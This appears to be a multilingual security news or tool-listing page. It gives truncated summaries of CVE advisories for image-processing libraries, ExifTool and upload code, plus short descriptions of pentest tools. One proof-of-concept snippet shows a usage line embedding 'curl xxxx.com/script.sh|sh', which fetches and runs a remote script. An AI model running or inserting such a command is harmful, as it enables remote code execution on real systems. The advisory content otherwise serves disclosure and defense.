CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 Subida de archivos arbitraria Autor - Jinny Ramsmark Proveedor afectado - Verot.net Producto afectado - class.upload.php = 2.0.4 Probado en Ubuntu 14.04 recién instalado con PHP5 y Apache Específicamente, se ha encontrado que Debian/Ubuntu son vulnerables...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

shotlooter

Introduzione Lo strumento Shotlooter è sviluppato per trovare dati sensibili all'interno degli screenshot caricati su https://prnt.sc/ tramite il software LightShot applicando metodi di OCR e elaborazione delle immagini. root@kitploit: +-------------------+ IMAGE FILE |!/usr/bin/python |...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Dies ist nur ein praktisches Skript, das ich zum Testen geschrieben habe. Ausgabe root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh"...

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo يقوم Bio-Formats ≤ 8.3.0 بإلغاء تسلسل Java غير آمن لملفات ذاكرة التخزين المؤقت .bfmemo التي يتحكم فيها المهاجم أثناء معالجة الصور؛ يمكن أن يؤدي ملف .bfmemo مُصمم بعناية إلى إلغاء تسلسل بيانات غير موثوقة رفض الخدمة/التلاعب بالمنطق؛...

CVE-2025-43300

CVE-2025-43300：iOS/macOS DNG图像处理内存损坏 概述 CVE-2025-43300 是苹果图像处理框架中的一个关键内存损坏漏洞，影响 iOS 18.6.1 和 macOS 系统。该漏洞存在于 RawCamera.bundle 中的 JPEG 无损解压缩代码中，由 DNG 文件中 TIFF 元数据与 JPEG 流参数之间的不一致性触发。 漏洞详情 根本原因 漏洞源于 DNG（数字负片）文件中的元数据/流不一致： 1. TIFF 头中的 SamplesPerPixel 元数据 指示预期的颜色分量 2. JPEG 无损流中的 SOF3 分量计数 指定实际数据分量 3...

KeyDecoder

KeyDecoder KeyDecoder è un'app mobile creata per pentester e appassionati di sicurezza. Dalla foto di una chiave, è possibile misurarne facilmente la dentatura. Sviluppata da Maxime BEASSE e Quentin CLEMENT. In collaborazione con FrenchKey e CNS di ESIEA. Realizzata con Flutter 3.13.6 e OpenCV...

CVE-2020-29599

CVE-2020-29599 Artifex ImageMagick-Bibliothek Artifex Versionen 6.9.11-40 und 7.0.10-40: SVG-Dateien werden in Bilder konvertiert...

CVE-2021-22204

CVE-2021-22204 - Esecuzione di codice arbitrario in ExifTool Un exploit aggiornato per CVE-2021-22204, una vulnerabilità in ExifTool versioni 7.44 fino a 12.23 che consente l'esecuzione di codice arbitrario durante l'elaborazione di file DjVu dannosi. Descrizione La neutralizzazione impropria dei...

CVE-2026-68515 OpenEXR: Heap out-of-bounds write in exrmultiview with subsampled channel union

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13, exrmultiview can write past a heap allocation when it combines two attacker-supplied,...

ROOT-OS-DEBIAN-13-CVE-2026-56372 CVE-2026-56372 in imagemagick - Patched by Root

Root has patched CVE-2026-56372 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-61465 CVE-2026-61465 in imagemagick - Patched by Root

Root has patched CVE-2026-61465 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

CVE-2026-70652

libvips is a fast image processing library with low memory needs. Prior to version 8.18.3, libvips built with libultrahdr support can incorrectly size an output buffer in libvips/foreign/uhdrsave.c within vipsforeignsaveuhdrsetrawhdr when a pipeline enlarges an incoming JPEG to a very large outpu...

CVE-2026-67446 Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling

Mailpit is an email testing tool and API for developers. Prior to 1.30.4, Mailpit decodes attacker-supplied image attachments into a full raster before checking decoded dimensions, pixel count, or memory use in the GET /api/v1/message/id/part/partID/thumb endpoint. The Thumbnail handler in...

CVE-2026-70654 libvips: A well-crafted PPM image processed via a custom source could lead to possible heap buffer write overflow

libvips is a fast image processing library with low memory needs. Prior to version 8.18.3, applications that define unusual custom libvips sources and use them to process untrusted uncompressed PPM images can trigger a max/min error in vipssourcereadtomemory in libvips/iofuncs/source.c. The...

CVE-2026-70654

libvips (image processing library) versions prior to 8.18.3 contain a heap buffer overflow in vips_source_read_to_memory (libvips/iofuncs/source.c). The function incorrectly uses VIPS_MAX instead of VIPS_MIN when selecting the remaining read size. Applications that define custom libvips sources a...

CVE-2026-70652

libvips versions before 8.18.3 mis-size an output buffer in vips_foreign_save_uhdr_set_raw_hdr (libvips/foreign/uhdrsave.c) when a pipeline enlarges a JPEG before encoding a gain map, causing a heap buffer over-read that can leak adjacent data or crash the process. Upgrade to 8.18.3 to remediate....

EUVD-2026-63652

libvips is a fast image processing library with low memory needs. Prior to version 8.18.3, libvips built with libultrahdr support can incorrectly size an output buffer in libvips/foreign/uhdrsave.c within vipsforeignsaveuhdrsetrawhdr when a pipeline enlarges an incoming JPEG to a very large outpu...

CVE-2026-69242 libvips: Integer overflow leading to heap buffer overflow leading to possible attacker-controlled mmap-resident write

libvips is a fast image processing library with low memory needs. Prior to version 8.18.3, a crafted many-band TIFF processed through VipsForeignLoadTiff can evade scanline validation in libvips/iofuncs/image.c and cause an integer overflow in vipsimagesanity. The resulting buffer-region...

CVE-2026-69242

libvips versions prior to 8.18.3 are affected by an integer overflow in vips_image_sanity within libvips/iofuncs/image.c. A crafted many-band TIFF processed through VipsForeignLoadTiff evades scanline validation, causing the overflow. The resulting buffer-region calculation can access attacker-co...